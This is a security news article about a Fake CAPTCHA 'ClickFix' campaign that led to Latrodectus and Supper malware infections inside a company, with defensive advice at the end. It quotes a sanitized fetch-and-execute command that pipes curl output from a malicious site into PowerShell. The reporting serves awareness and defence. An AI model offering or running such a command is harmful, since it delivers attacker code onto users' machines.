A recent incident response investigation revealed how a single employee action can quietly expose an entire corporate network.
Security analysts supported law enforcement and a large organization after discovering that attackers had maintained access inside the company for months.
The case highlights a growing threat: the Fake CAPTCHA ClickFix attack. This social-engineering trick looks harmless but delivers advanced malware.
Although the investigation focused on one company, researchers stress the campaign is mass-distributed, not targeted. Any business using Windows workstations could be affected.
How The Infection Actually Started
The entry point was surprisingly simple. A user visited a website displaying a fake CAPTCHA verification message. Instead of asking the user to click a checkbox, the page instructed them to “fix the verification” by copying a command and running it using Win + R.
The command executed:
curl (malicious site) | powershellBy pasting and running it, the user unknowingly downloaded malware directly into memory: no attachment, no installer, and no warning from the browser. From the attacker’s perspective, the victim willingly launched the infection.
Logs later confirmed multiple similar malicious domains. Investigators even found JavaScript containing a Telegram bot token, likely intended to report new victims.
The token was incorrectly formatted, suggesting the page code may have been automatically generated and not fully tested.
After execution, files appeared inside a suspicious directory under the user profile. Among normal Windows files, one stood out a malicious wtsapi32.dll.
Attackers used a technique called DLL side-loading: legitimate software loads a malicious library alongside it, allowing the code to run without raising alarms.
Malware Inside The Network
The DLL turned out to be part of Latrodectus, a loader malware family designed to prepare systems for further compromise.
The malware contacted command-and-control servers and gathered system data, including the username, computer name, domain information, and network configuration.
To avoid detection, the malware used:
- code obfuscation,
- anti-debugging behavior,
- memory unpacking,
- and manual loading of Windows system libraries to bypass antivirus monitoring.
Investigators also identified a second malware family named Supper. This backdoor established persistence by creating a scheduled Windows task disguised as a Google update.
Cert said, it periodically contacted remote servers and could download additional programs, operate as a proxy, or execute commands sent by attackers.
Communication with command servers was encrypted and included lists of internal processes and network trust relationships.
That means attackers were preparing lateral movement spreading from one employee workstation to the wider corporate infrastructure.
The lesson is clear: this attack required neither an exploit nor a vulnerability. The user only followed instructions presented on a web page.
Organizations can reduce risk by blocking PowerShell launched from Run dialogs, monitoring unusual scheduled tasks, restricting outbound connections, and educating staff that a CAPTCHA will never require copying commands into Windows.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
